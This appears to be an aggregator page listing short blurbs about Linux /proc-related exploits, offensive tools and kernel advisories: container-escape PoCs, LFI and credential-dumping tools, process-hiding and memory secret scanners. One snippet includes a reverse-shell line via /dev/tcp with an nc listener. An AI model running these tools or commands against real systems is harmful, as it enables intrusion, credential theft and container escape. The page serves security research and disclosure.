CVE-2025-40271

🔴 CVE-2025-40271: Critical Use-After-Free Vulnerability in the Linux Kernel 🛡️ Vulnerability Details CVE-2025-40271 is a critical Use-After-Free UAF vulnerability affecting the /proc filesystem of the Linux kernel. The flaw resides in the procreaddirde function, responsible for listing the content...

liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

Netgrave

Netgrave A tool for retrieving login credentials from Netwave IP cameras using a memory dump vulnerability CVE-2018-17240. This project was inspired by expcamera and offers performance and efficiency improvements. This tool works for all platforms as it does not use any Linux CLI tools through...

dismember

🔪 Dismember Dismember is a command-line toolkit for Linux that can be used to scan the memory of all processes or particular ones for common secrets and custom regular expressions, among other things. It will eventually become a full /proc toolkit. Using the grep command, it can match a regular...

Am-I-affected-by-Meltdown

Am I affected by Meltdown?! Meltdown CVE-2017-5754 checker What am I? Proof-of-concept / Exploit / Checks whether system is affected by Variant 3: rogue data cache load CVE-2017-5754, a.k.a MELTDOWN. The basic idea is that user will know whether or not the running system is properly patched with...

CVE-2024-21626

CVE-2024-21626 For detailed explanation for this vulnerability, plz refer to my article. Exploit Exploit via Running a Container No need to build a custom image, just run a container with -w parameter: root@kitploit: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

mimic

mimic mimic は、Linux x8664 で隠密実行を行うためのツールです。 「covert execution」とは？ 隠密実行とは、プロセスを隠す技術です。この場合、 mimic はプロセスを目に見える場所に隠します。 mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。 えっ？！特別な権限がいらないの？！ その通りです。 mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc...

whoc

whoc コンテナイメージであり、基盤となるコンテナランタイムを抽出してリモートサーバーに送信します。 お気に入りのCSPコンテナプラットフォームの基盤となるコンテナランタイムを突いてみましょう！ WhoC at Defcon 29 Cloud Village Azurescape - whoc を利用した研究、パブリッククラウド初のクロスアカウントコンテナ乗っ取り $70,000 の報奨金 仕組み runc の CVE-2019-5736 で示されているように、従来の Linux コンテナランタイムは、/proc/self/exe を介して実行中のコンテナに自身を公開します。whoc...

CVE-2017-1000367

CVE-2017-1000367 我々は、Linux向けSudoのgetprocessttynameに脆弱性を発見しました。この関数は“/proc/pid/stat”（man proc）を開き、フィールド7（ttynr）からttyのデバイス番号を読み取ります。残念ながら、これらのフィールドはスペース区切りであり、フィールド2（comm、コマンドのファイル名）にはスペースを含めることができます（CVE-2017-1000367）。 例えば、シンボリックリンク“./ 1...

dismember

🔪 Dismember Dismemberは、Linux用のコマンドラインツールキットで、すべてのプロセス（または特定のプロセス）のメモリをスキャンして、一般的な秘密情報やカスタム正規表現などを検出するために使用できます。 最終的には完全な /proc ツールキットになる予定です。 grep コマンドを使用すると、すべての（アクセス可能な）プロセスの全メモリに対して正規表現のマッチングを行うことができます。これは、メモリ内の機密データを見つけたり、メモリに含まれる情報からプロセスを特定したり、プロセスのメモリを調査して興味深い情報を得るために使用できます。 scan...

CVE-2024-21626-POC

CVE-2024-21626-POC Usage Instructions For educational/research purposes only. Any behavior not related to education/research is at your own risk. Usage root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh Start another terminal /bin/bash.copy Note...

CVE-2024-21626

CVE-2024-21626 概念验证（POC） 要求 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 运行容器镜像并在bash shell中执行poc.sh root@kitploit:...

CVE-2025-40271

CVE-2025-40271 — procreaddirde rb-tree UAF LPE Proof-of-concept for a local privilege escalation vulnerability in the Linux kernel proc filesystem. The bug is a use-after-free in procreaddirde caused by rberase without RBCLEARNODE, leaving stale red-black tree links that can be raced during...

CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – Container Escape via /proc/self/fd Symlink Overview A shared volume mounted with rshared propagation allows a malicious container to create a symbolic link pointing to a host file through /proc/self/fd. The host process writing to the volume follows the symlink, overwriting critic...

Astra Linux – Vulnerability in Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: fs/proc: taskmmu.c: Do not read mapcount for migration entries The syzbot reported the following bug: Kernel bug at include/linux/page-flags.h: 785 Invalid opcode: 0000 1 – PREEMPT SMP KASAN CPU: 1; PID: 4392; Comm:...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: In the proc subsystem, the same handling is used for checking proclseek as for procreaditer and others. Directly checking pde-procops-proclseek may lead to a Use-After-Value UAF in the rmmod scenario. This issue arises from a fla...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: “smack”: fixed a bug where an unprivileged task could create labels. If an unprivileged task is allowed to relabel itself "/smack/relabel-self is not empty", it can freely create new labels by writing their names into its own...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: sysctl: Always initialize iuid/igid. iuid/igid is always initialized within the sysfs core, so setownership can safely skip setting them. The commit 5ec27ec735ba from “fs/proc/procsysctl.c: fix the default values of iuid/igid on...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15, Linux-6.1

In the Linux kernel, the following vulnerability has been resolved: cgroup/cpuset: Prevent UAF in proccpusetshow A UAF can occur when reading /proc/cpuset, as reported in 1. This issue can be reproduced using the following methods: 1. Add an mdelay1000 before acquiring the cgrouplock in the...